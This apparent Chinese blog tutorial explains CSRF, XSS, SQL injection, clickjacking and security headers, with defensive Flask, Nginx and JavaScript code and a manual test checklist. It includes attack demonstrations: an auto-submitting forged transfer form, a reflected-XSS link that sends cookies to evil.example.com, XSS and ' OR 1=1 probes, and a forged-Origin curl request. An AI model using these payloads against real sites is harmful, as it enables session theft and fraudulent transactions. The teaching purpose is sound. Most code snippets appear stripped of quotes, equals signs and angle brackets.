资讯动态

Web安全实战:CSRF跨站请求伪造与XSS跨站脚本攻击原理及防御

发布时间:2026/10/19 2:30:25 来源:尧图企业网站定制
做Web开发这些年我最怕看到的一句话不是“线上出BUG了”而是“这笔请求不是我发的”。很多同事第一次接触CSRF跨站请求伪造时都懵了明明用户在正常点击页面怎么余额就悄悄变少了其实这类HTTP安全风险的核心问题只有一个——我们的服务器太相信“浏览器替用户发出的请求”了。同样地XSS跨站脚本攻击之所以屡禁不止是因为开发者太相信“用户输进来的字符串”了。这篇文章想聊的就是CSRF、XSS这两类最典型、也最容易踩坑的Web安全风险外加SQL注入、点击劫持、安全响应头缺失等几个高发问题。我会从攻击视角还原漏洞是怎么被打穿的再从防御视角给出可复制的代码加固方案最后附上一份我平时上线前必做的排查清单。适合后端开发、前端开发、测试和运维同学参考也适合刚接触安全、想系统补一下基础的新人——你会看到攻击演示、防御代码、配置片段和踩坑记录都是可以直接拿去用的东西。1. 为什么Web应用总在“信任”上栽跟头CSRF与XSS的核心成因1.1 一切从“浏览器自动携带Cookie”说起HTTP本身是无状态协议今天我们做用户登录基本都是靠Cookie和Session来维持“我是谁”这个身份认知。你登录一个站点后服务器返回一个SessionId存在Cookie里后续每次请求浏览器都会自动把这个Cookie带上服务器看到这个Cookie就认为请求是你本人发出的。问题恰恰出在这个“自动携带”上。浏览器不会去区分这个请求是你点击页面链接发起的还是某个第三方网站偷偷构建表单发起的。只要请求目标是你登录过的站点Cookie就会跟着走。CSRF的攻击思路就是这么来的攻击者不需要拿到你的Cookie不需要知道你的密码只需要诱导你访问一个恶意页面这个页面里藏着一个向目标站点发请求的表单、图片或者fetch代码浏览器带着你的Cookie发起这个请求服务器一看Cookie合法就执行了转账、改邮箱、发消息等敏感操作。XSS则是另一条路。它不是利用“浏览器自动带Cookie”而是利用“HTML会解析字符串”这个特性。很多开发者会在后端动态拼接HTML或者前端用innerHTML插入用户输入的内容。如果输入里带了scriptalert(1)/script这类代码浏览器不会把它当成普通文字而是当成可执行的脚本。脚本一旦执行攻击者就可以窃取Cookie、模拟用户操作、篡改页面内容。这两类漏洞的共同根源是开发者对输入来源和输出位置的信任没有边界该校验的来源没校验该编码的输出没编码。1.2 攻击面全景除了CSRF和XSS还有哪些HTTP风险很多团队的安全清单上只写了“防SQL注入”“防XSS”但真正做渗透测试时你会发现高发风险远不止这些。下面这张表列出来的是我实际排查中比较常见的几类按出现频率从高到低排的风险类型一句话描述常见危害XSS跨站脚本用户输入被当作页面脚本执行窃取Cookie、钓鱼、篡改页面、模拟操作SQL注入用户输入拼接进SQL语句拖库、删库、绕过登录、读取敏感数据CSRF跨站请求伪造第三方页面伪造已登录用户请求转账、改密、发帖、改资料点击劫持透明iframe覆盖在页面上诱导点击诱导授权、关注、支付安全响应头缺失缺少X-Frame-Options等头部放大点击劫持、MIME嗅探、缓存泄露CORS配置不当跨域接口的访问控制放得过宽攻击者跨域读取接口数据理解这些风险的时候我建议你不要把它们当成孤立的“漏洞”而是看成同一个问题的不同表现对输入的“信任”发生了越界。后面几节我会逐个拆解重点放在CSRF和XSS上因为这两个是最容易在代码评审中被漏掉的。2. CSRF攻击拆解从恶意页面的自动表单到Token防线2.1 攻击发生的完整链路含代码演示先说一个我实际复现过的场景。某天同事负责的模拟项目X上线了一个转账接口接口是标准的POST请求路径是/api/transfer参数是toAccount和amount用户登录态放在Session Cookie里。前端正常页面是这样的// 正常用户页面 fetch(/api/transfer, { method: POST, headers: { Content-Type: application/json }, body: JSON.stringify({ toAccount: friend_001, amount: 100 }), credentials: include });这个接口看着没问题测试也全过了。但换个视角攻击者只需要做一个恶意页面用HTML表单就能发起同样语义的请求。因为表单提交不要求JSON格式也不要求自定义Header!-- 攻击者构造的恶意页面evil.html -- html body !-- 页面加载完成后自动提交 -- form idautoSubmit actionhttps://victim.example.com/api/transfer methodPOST input typehidden nametoAccount valueattacker_002 / input typehidden nameamount value10000 / /form !-- 也可以引诱用户点击按钮触发 -- button onclickdocument.getElementById(autoSubmit).submit() 点击领取优惠券 /button script // 页面加载1秒后自动提交 window.onload function () { document.getElementById(autoSubmit).submit(); }; /script /body /html这段代码的杀伤力在于受害者只要在目标站点保持登录状态浏览器就会把目标站点的Cookie自动携带过去。服务器收到请求后Session校验通过于是转账真的执行了。整个过程用户毫无感知甚至以为是误触了广告。同样的手法还可以用隐藏的img标签发起GET请求或者用iframe去加载一个自动提交的表单。很多老接口习惯用GET做状态修改比如GET /api/delete?id123那就更容易了一个图片就能触发删除操作。这就是CSRF最让人头疼的地方它攻击的是“身份认证”本身。因为Cookie自动携带是浏览器机制躲在服务器后面再怎么加密、再怎么验签如果不校验“请求是不是真的来自我方页面”漏洞就会一直存在。2.2 实战防御一同步器Token机制的正确落地CSRF防御方案里最经典、也最可靠的是同步器Token模式Synchronizer Token Pattern。核心思想很简单在页面和服务端之间建立一把“只有我们俩知道”的钥匙每次状态修改请求都要求带上这把钥匙第三方页面拿不到钥匙自然就伪造不了合法请求。我以Flask项目为例写一个完整的落地逻辑import secrets from flask import session, request, render_template, abort def generate_csrf_token(): 用户会话内生成一次Token并存入Session if csrf_token not in session: session[csrf_token] secrets.token_urlsafe(32) return session[csrf_token] def validate_csrf_token(): 校验请求中携带的Token是否与Session一致 # 优先从表单字段取也兼容Ajax请求通过Header传递 request_token request.form.get(csrf_token) if not request_token: request_token request.headers.get(X-CSRF-Token) if not request_token: abort(403, CSRF token missing) session_token session.get(csrf_token) if not session_token: abort(403, CSRF session expired) # 建议用恒定时间比较避免时序攻击 if not secrets.compare_digest(request_token, session_token): abort(403, CSRF token mismatch)页面模板里这样输出form action/api/transfer methodPOST input typehidden namecsrf_token value{{ csrf_token }} / input typetext nametoAccount / input typenumber nameamount / button typesubmit转账/button /form前端如果走Ajax需要从页面元素里读出Token放到自定义Header里const csrfToken document.querySelector(meta[namecsrf-token]).getAttribute(content); fetch(/api/transfer, { method: POST, headers: { Content-Type: application/json, X-CSRF-Token: csrfToken }, body: JSON.stringify({ toAccount: friend_001, amount: 100 }), credentials: include });对应的服务端校验函数在需要保护的POST、PUT、DELETE接口前调用即可。这里有几个细节需要特别强调第一Token必须随机且不可预测。我见过有人用当前时间戳、固定字符串、甚至用户名的MD5当Token这等于把钥匙放在门口花盆底下攻击者猜都能猜出来。用密码学安全的随机数生成器这里是secrets.token_urlsafe(32)不可预测性才有保证。第二Token不能放Cookie里再通过Cookie校验。有个常见的错误是把Token种到Cookie里后端再对比Cookie值。这等于没防因为第三方页面发起的请求也会自动携带目标站点的Cookie攻击者虽然不能直接读取Cookie里的Token受SameSite和HttpOnly影响但浏览器会把Cookie原样送到服务端校验照样通过。所以Token只应存在Session中并输出到页面上由正常页面代码读取。第三Token要和会话绑定且尽量随请求轮换。登录后生成一次可以但敏感操作转账、改密建议每次请求后刷新Token避免Token长期有效导致泄露风险放大。2.3 实战防御二SameSite与双重校验兜底相比Token方案设置Cookie的SameSite属性更省事它直接在浏览器层面限制第三方页面发起的跨站请求携带Cookie。在Flask里设置SameSite很简单app.config.update( SESSION_COOKIE_SAMESITELax, # 或 Strict SESSION_COOKIE_SECURETrue # 生产环境务必开启仅限HTTPS )如果手写Set-Cookie响应头则是这样Set-Cookie: session_idabc123; HttpOnly; Secure; SameSiteLaxSameSiteLax意味着只有顶级导航比如用户手动从另一个站点击链接跳转过来触发的GET才允许带Cookie第三方页面的POST、fetch、XHR、iframe表单都不会带Cookie。SameSiteStrict更严格连GET导航都不带适合对安全性要求极高的金融类系统但用户体验会有影响——从别的站跳回来时会话不生效得手动刷新一次。我一般默认设Lax关键业务再加Token。不过要冷静看待SameSite的覆盖范围老版本浏览器并不识别这个属性以及某些特殊场景子域部署、浏览器补丁差异下表现未必符合预期。所以不能把SameSite当成唯一的救星而是把它作为第一道闸门Token作为第二道防线双保险。再叠一层兜底——校验Origin和Referer请求头def validate_origin(): allowed_origins {https://victim.example.com} origin request.headers.get(Origin) if origin is not None and origin not in allowed_origins: abort(403) if origin is None: # 无Origin时回退到Referer校验仍需与白名单匹配 referer request.headers.get(Referer, ) if not referer.startswith(https://victim.example.com): abort(403)这里面有个细节同源GET导航的请求通常不带Origin但会带Referer所以要从白名单里匹配前缀。还有涉及金融级操作时流程上再加一步“二次确认”或“短信验证码”会更稳妥。验证码不是技术防御但它能把自动化批量攻击挡在门外。2.4 CSRF防御的常见坑我在客户项目评审里发现的CSRF问题基本都是下面这几个坑坑一只校验POST忽略其他方法。很多开发只给POST接口加了Token校验却忘了PUT、DELETE尤其是一些管理后台喜欢用GET /api/delete?id1这种“超链接式删除”图片标签就能触发。建议做法是所有改变状态的接口统一用POST/DELETE并且全部过CSRF校验GET只承担纯查询职责。坑二JSON接口觉得“不会被表单攻击”。有人以为接口要求Content-Type: application/json就安全了因为HTML表单没法直接发JSON。但攻击者完全可以用JavaScript的fetch发JSON请求只要目标接口允许跨域或者能绕过CORS预检条件就行。这里不是让每个JSON接口都构造一遍复杂表单而是提醒你不要因为格式不同就放弃CSRF校验用Header携带Token是兼容JSON接口的标准姿势。坑三双提交Cookie模式实现走样。双提交Cookie的思路是Cookie里放一个随机Token同时请求体/请求头里也带同一个Token服务端只比对两者是否相等不依赖Session。这个思路可行但如果Token是从请求参数里读的攻击者只要在表单里也放一个同值Token就绕过了验证。要做双提交必须保证Token放在请求Header里第三方页面无法自定义Header而且比对用恒定时间比较。坑四Token存放在Session里但用户多开标签页时互相踢掉。这是体验问题严格共用同一个Session的Token会在一个标签页刷新后失效导致另一个标签页提交时校验失败。常见的缓解是Token不主动刷新只在登录时生成一次或采用同Token时间窗口的策略允许短时间内的重复Token。安全性和体验权衡后一般业务系统用“会话内Token固定关键操作后刷新”即可。3. XSS攻击拆解三类注入场景与三层输出防线3.1 反射型、存储型、DOM型怎么区分XSS按触发过程可以分成三类很多人记不住区别我教一个土办法看恶意脚本是“经过服务器再弹回来”还是“只在本地浏览器里绕了一圈”。反射型XSS脚本是URL参数的一部分服务器拿到参数后拼进HTML返回浏览器执行。攻击者需要诱导受害者点击一个构造好的链接。比如某搜索页面把关键词原样输出https://victim.example.com/search?keywordscriptdocument.locationhttps://evil.example.com/steal?cdocument.cookie/script用户如果点击了这个链接脚本就会在页面里执行把Cookie发给攻击者服务器。因为恶意代码“反射”一次就没了所以叫反射型。存储型XSS脚本被保存到数据库后续所有正常访问该页面的用户都会中招。最经典的场景就是评论区攻击者在评论里写scriptalert(1)/script服务端如果不过滤就入库别人一浏览这条评论脚本就在别人的浏览器里执行了。存储型的危害最大因为它是“一次注入持续生效”而且受害者是普通用户防不胜防。DOM型XSS服务端根本没参与脚本在前端直接被处理。比如JavaScript读取location.hash或者document.referrer再拼接到innerHTML里// 危险代码 var name location.hash.substring(1); document.getElementById(welcome).innerHTML 欢迎 name;攻击者构造一个带#img srcx onerroralert(1)的URL页面加载后脚本就会执行。DOM型XSS靠后端扫描工具很难发现因为HTML源码里没有任何异常出问题的是前端JS逻辑。三类XSS的共同点都是“用户可控数据进入了可执行上下文”。所以防御思路不是头痛医头而是从源头堵住进入数据库的输入可以适当限制但真正关键的是输出时按上下文编码。3.2 输出编码最容易被忽略的“最后一公里”XSS防御中输入过滤当然要做但我不建议你把宝全押在输入过滤上因为规则总会有漏网之鱼。真正兜底的是输出编码无论用户输入有多花哨只要在输出到HTML的每个位置都做对应编码脚本就永远不会被浏览器当成代码执行。核心原则是“上下文敏感编码”也就是说同样是输出不同位置要用不同的编码方式输出位置编码类型典型示例HTML标签内容HTML实体编码转成lt;转成quot;HTML属性值属性编码在HTML实体编码基础上再处理引号JavaScript字符串JS编码\x3c代替避免闭合脚本标签URL参数URL编码特殊字符转成%xxCSS值CSS转义不要允许用户数据直接进CSS以一例Flask项目为例如果不用模板引擎自动转义而是手动拼接至少要调用标准库的转义函数import html from flask import render_template_string def render_profile(username): safe_name html.escape(username, quoteTrue) return fp你好{safe_name}/p如果是Java后端也可以用通用的HTML转义工具方法做同样处理。这里提醒一点转义必须和位置匹配。在HTML内容里转义了但如果这段数据后来又经前端代码读出来塞进innerHTML需要再考虑前端侧的编码上下文。模板引擎默认转义是救了一道但一个v-html或内联事件就可能导致前功尽弃。我见过不少团队做到了后端输出转义但前端用Vue的v-html渲染用户富文本或者React里用dangerouslySetInnerHTML渲染评论内容等于又放开了口子。所以输出编码这件事前后端要一起把关。3.3 CSP与HttpOnly给攻击者再加三道锁如果说输出编码是“让脚本写不进去”那CSP就是“就算写进去了也不让你跑起来”。CSP全称Content Security Policy通过响应头告诉浏览器当前页面哪些来源的脚本、样式、图片是可信的其他一律拒绝。下面是Nginx里一个基础却有效的CSP配置add_header Content-Security-Policy default-src self; script-src self; object-src none; base-uri self; frame-ancestors self;这个配置的意思是脚本只允许从本站域名加载不允许内联脚本和外站脚本。XSS注入的scriptalert(1)/script会被浏览器直接拦截不会执行。要注意加了CSP之后页面里所有内联事件比如onclickxxx也会被拦所以如果项目里用了大量内联JS要提前规划改造。HttpOnly是另一个便宜的“安全垫片”。设置Cookie时加上HttpOnly属性JavaScript就再也读不到document.cookie了即使XSS注入成功攻击者也只能干瞪眼拿不到会话凭证Set-Cookie: session_idabc123; HttpOnly; Secure; SameSiteLax在Flask中对应SESSION_COOKIE_HTTPONLY True SESSION_COOKIE_SECURE True很多开发者以为HttpOnly只是“Cookie被偷了也不怕”这是误解。HttpOnly不能阻止XSS但它能把XSS的危害从“直接拿会话”降级为“只能在当前页面捣乱”缩小了损失范围。3.4 富文本场景的XSS防御方案评论区、文章编辑、商品详情这些场景必须允许用户提交HTML标签加粗、链接、图片这时候不能对整个内容做全局转义否则样式全没了。正确做法是用白名单富文本净化器比如前端常用的DOMPurify// 富文本内容提交前做白名单清洗 import DOMPurify from dompurify; const rawContent phello bworld/bimg srcx onerroralert(1)/p; const safeContent DOMPurify.sanitize(rawContent, { ALLOWED_TAGS: [p, b, i, em, a, img, ul, ol, li], ALLOWED_ATTR: [href, src, alt, title], ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z.\-](?:[^a-z.\-:]|$))/i });关键是这套净化逻辑要同时放在后端再做一次不能只靠前端。恶意请求可以直接绕过页面调接口绕过前端净化器。后端可以选择成熟的富文本过滤库配置同样的白名单策略。这里有个反直觉的点永远不要用黑名单过滤XSS。有人习惯把script、onerror、javascript:列进黑名单觉得这样就安全了。但XSS绕过的花样实在太多大小写混合、HTML实体编码、svg标签、math标签、data:text/html、img srcx onerror...……黑名单永远追不上攻击者的变形速度。白名单的原则是“除了允许的其余一概不允许”一开始收紧后续再按业务需求放宽。4. 其余高发HTTP风险SQL注入、点击劫持与安全响应头4.1 SQL注入预编译为什么能一劳永逸SQL注入的成因和XSS很像用户输入被当成代码逻辑执行。区别只在于执行环境是数据库而不是浏览器。把字符串直接拼进SQL就像让用户往你的保险箱锁眼里灌胶水胶水怎么流锁就可能怎么坏。看一个最典型的反例# 危险写法直接拼接SQL cursor.execute(SELECT * FROM user WHERE name username AND passwd password )如果攻击者输入的用户名是 OR 11拼接出来就成了SELECT * FROM user WHERE name OR 11 AND passwd anything条件11恒成立等于不需要密码就查到了第一条用户记录没准直接就登录了。如果后面再接分号和一个DELETE语句危害更是不可控。防御方案其实非常简单而且没有争议使用预编译语句PreparedStatement / 参数化查询。# 安全写法参数占位符值与SQL结构分离 cursor.execute(SELECT * FROM user WHERE name ? AND passwd ?, (username, password))// Java JDBC 的预编译写法 PreparedStatement ps conn.prepareStatement( SELECT * FROM user WHERE name ? AND passwd ?); ps.setString(1, username); ps.setString(2, password); ResultSet rs ps.executeQuery();原理不复杂数据库收到预编译语句时先解析SQL结构参数值随后以纯数据的形式绑定进去不再参与语法解析。所以参数里就算写了OR 11数据库也只把它当一个字符串值不会改变查询语义。还要注意几个连带场景动态表名/列名不能参数化这类需求先做白名单校验LIKE查询的百分号要转义Order By的字段名不要接受外部直接输入ORM对象关系映射框架虽然默认参数化但如果用拼接原生的Query还是有可能踩坑。我见过一个系统ORM用得很溜但某个导出Excel的功能为了拼动态列名手写了原生SQL直接把注入漏洞送上门。4.2 点击劫持与frame-ancestors点击劫持Clickjacking的思路很“社会工程学”攻击者把目标站点用透明iframe嵌套在自己的页面里通过CSS定位把目标页面上的按钮挪到视觉上的“假按钮”下面。用户看到的是一张诱人的图片或按钮实际点下去点的是透明iframe里目标页面的按钮。典型场景包括诱导用户点“关注”、点“转发”、点“确认转账”。防御方向很明确不允许自己的页面被其他域名用iframes嵌套。传统方案是设置响应头X-Frame-Optionsadd_header X-Frame-Options SAMEORIGIN always;SAMEORIGIN表示只有同源页面可以iframe嵌套本站DENY则是完全禁止。这套方案兼容性广但能力有限——它只能控制“能不能被嵌套”不能更细粒度地指定哪些域名可以嵌套。现代推荐用CSP的frame-ancestors指令能精细控制允许嵌套的域名add_header Content-Security-Policy frame-ancestors self https://trusted.example.com;需要明白的是X-Frame-Options和frame-ancestors同时存在时现代浏览器会优先采用frame-ancestors为了照顾老版本浏览器两个头可以一起配上。这里说个实际体验加了这个头之后别急着说“配置完了”。要用一个空页面主动测试一下因为有些业务方会用iframe嵌入自己的报表后台、或嵌入其他系统的页面如果没提前确认好白名单上线后可能把合作方的正常功能干坏。我遇到过某系统给全部页面统一加了DENY结果运营后台的旧报表组件全白屏最后排查了半天才定位到是这个头的问题。4.3 安全响应头清单与CORS配置检查除了上面几个专项防御安全响应头是“性价比”很高的一类配置。它们不需要改业务代码只需要在网关或Web服务器统一加上。我整理了一张建议清单响应头推荐值作用Strict-Transport-Securitymax-age31536000; includeSubDomains强制浏览器只能走HTTPS防降级攻击X-Content-Type-Optionsnosniff阻止浏览器猜测响应类型防MIME嗅探X-Frame-OptionsSAMEORIGIN防点击劫持建议配合frame-ancestorsReferrer-Policysame-origin或no-referrer-when-downgrade控制跳转时是否泄露完整URLPermissions-Policy按需禁用摄像头、定位等敏感权限即使页面被注入也能限制浏览器能力Nginx统一加头的方式add_header Strict-Transport-Security max-age31536000; includeSubDomains always; add_header X-Content-Type-Options nosniff always; add_header Referrer-Policy same-origin always; add_header Permissions-Policy geolocation(), microphone(), camera() always;CORS配置则是另一处“配置即漏洞”的高发区。很多团队在调试接口时顺手写了add_header Access-Control-Allow-Origin *;如果这个头出现在带登录态的接口上等于告诉任何网站的JS你尽管来读我的接口数据吧。攻击者可以在自己的恶意页面里用fetch请求这个接口浏览器会放行响应攻击者就能读取到接口返回的用户信息。正确的姿势是接口返回时动态读取请求的Origin判断合法后再写回Access-Control-Allow-Origin不要写*更不要与Access-Control-Allow-Credentials: true同时使用。如果业务不需要跨域读取数据直接把*去掉最干净。5. 安全开发闭环从代码到上线前自测的完整清单5.1 把安全内建到开发流程里安全不该是上线前的一次性检查而应该变成开发流程里的“默认动作”。我是这么建议团队落地的默认打开框架自带的安全开关。现代主流Web框架大多自带CSRF防护和模板自动转义但很多人嫌麻烦给关掉了。不要关。框架默认的东西绝大多数情况下都比自己手写要稳。如果框架没默认开就通过统一中间件给所有请求加上CSRF校验逻辑而不是每个接口自己写一遍。代码评审设置安全检查点。我评审代码时至少会扫一眼下面几个模式SQL语句里有没有字符串拼接找execute、query附近的加号前端有没有用innerHTML、v-html、dangerouslySetInnerHTML有没有使用eval、new Function这类动态执行接口处理有没有统一走CSRF校验中间件Cookie设置有没有HttpOnly和SameSite属性依赖漏洞扫描和升级要日常化。不管是前端npm包还是后端依赖库历史漏洞被公开之后就等于给攻击者递了说明书。定期扫描依赖版本高危漏洞及时升级这门功课不能省。在开发环境里做攻击复现是最有效的学习方式。我见过有团队在测试环境直接部署了一个“漏洞靶场”版本的内部系统专门给新同学演示CSRF和XSS是怎么被打穿的。眼见为实之后大家写代码时的手感完全不一样。5.2 常见问题排查速查表我把这些年实际排查中遇到的问题整理成了表格很多都是“配置看起来没问题但线上就是出问题”的典型问题现象可能原因排查操作表单提交一直报403提示CSRF校验失败Token没渲染到页面上Session过期多标签页刷新互相踢Token打开浏览器开发者工具查看页面源码里有没有隐藏Token对比当前请求带的Token和Session里的值登录后一段时间不操作再提交就403Session过期导致Token失效检查Session超时配置前端感知到401/403时做跳转登录设置SameSite之后从外部链接跳回网站在新页面里显示未登录部分浏览器对严格SameSite行为不同确认使用Lax而非Strict在无痕模式下逐个浏览器版本测试页面能弹出alert但CSP好像没生效服务器没有正确下发CSP头多个响应头覆盖冲突用curl -I查看完整响应头确认CSP没有包含unsafe-inline或unsafe-eval调用第三方JSON接口报跨域自定义Header触发了CORS预检服务端没在预检响应里返回允许的Header检查浏览器Network里的OPTIONS预检请求和响应头确认Access-Control-Allow-Headers包含需要携带的Header富文本内容保存后样式丢失全局转义把所有HTML标签都转成实体了把富文本字段改为白名单净化不要走全量escape确认前后端净化器配置的白名单一致img标签点击后跳转到了奇怪的路径目标地址没做协议白名单javascript:伪协议被使用净化时限制URI协议白名单仅允许http/https/mailto等5.3 上线前必做的几组手工测试安全扫描工具和上线前的手工测试并不冲突。工具适合抓常规问题但人的逻辑思考能发现业务链路里的安全破绽。我每次上线前会做下面几组手工测试都用测试环境数据测试一CSRF绕过。先从一个完全不带Token的空表单向受保护接口发请求确认被拒再用curl模拟跨域请求修改Origin头为一个恶意域名确认被拒最后再用合法页面正常提交确认功能不受影响。# 模拟无Token提交 curl -X POST https://test.example.com/api/transfer \ -d toAccountattackeramount100 \ -H Origin: https://evil.example.com \ -i测试二XSS探针。在搜索框、评论区、URL参数、用户昵称等所有输入点统一提交这类探针字符串scriptalert(1)/script img srcx onerroralert(1) svg/onloadalert(1) javascript:alert(1)如果页面直接弹窗说明输出编码或过滤缺位如果内容被转义显示成普通文本基本可以放心。测试三SQL注入探针。在所有查询参数和登录框里输入单引号和 OR 11观察是否报错、是否拿到异常数据。注意一定在测试库上做别在生产库上玩火。测试四点击劫持验证。新建一个空HTML里面iframe加载自己的线上页面如果被拒则说明X-Frame-Options或frame-ancestors生效。html body iframe srchttps://your-site.example.com stylewidth: 800px; height: 600px;/iframe /body /html测试五响应头检查。用curl -I看一遍核心页面响应头对照安全头清单逐一确认。curl -I https://your-site.example.com这几组测试加起来大概半小时但能覆盖掉最常见的几类漏洞。很多安全问题不是技术有多深而是压根没人站在攻击者视角把流程走一遍。现在回看开头说的那句话——“这笔请求不是我发的”它其实可以延伸出更多问题你把用户名显示在页面上时会怎么编码你拼SQL时会用参数化吗你的Cookie带HttpOnly吗你的接口是否只接受我方页面发来的请求这些细节堆在一起决定了应用在真实攻击面前是“坚如磐石”还是“一戳就破”。我个人在实际操作中的体会是安全不是做一个“安全项目”更像是在每个环节都留个心眼。每次新写一个接口我都会先问自己三个问题这个请求会不会改变状态用户数据最终会出现在哪个输出上下文如果我是攻击者我会怎么打这个功能这三个问题过完CSRF、SQL注入、XSS这几类问题基本上就避开了八成。剩下的交给编码习惯和上线前那半小时的手工测试去补。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑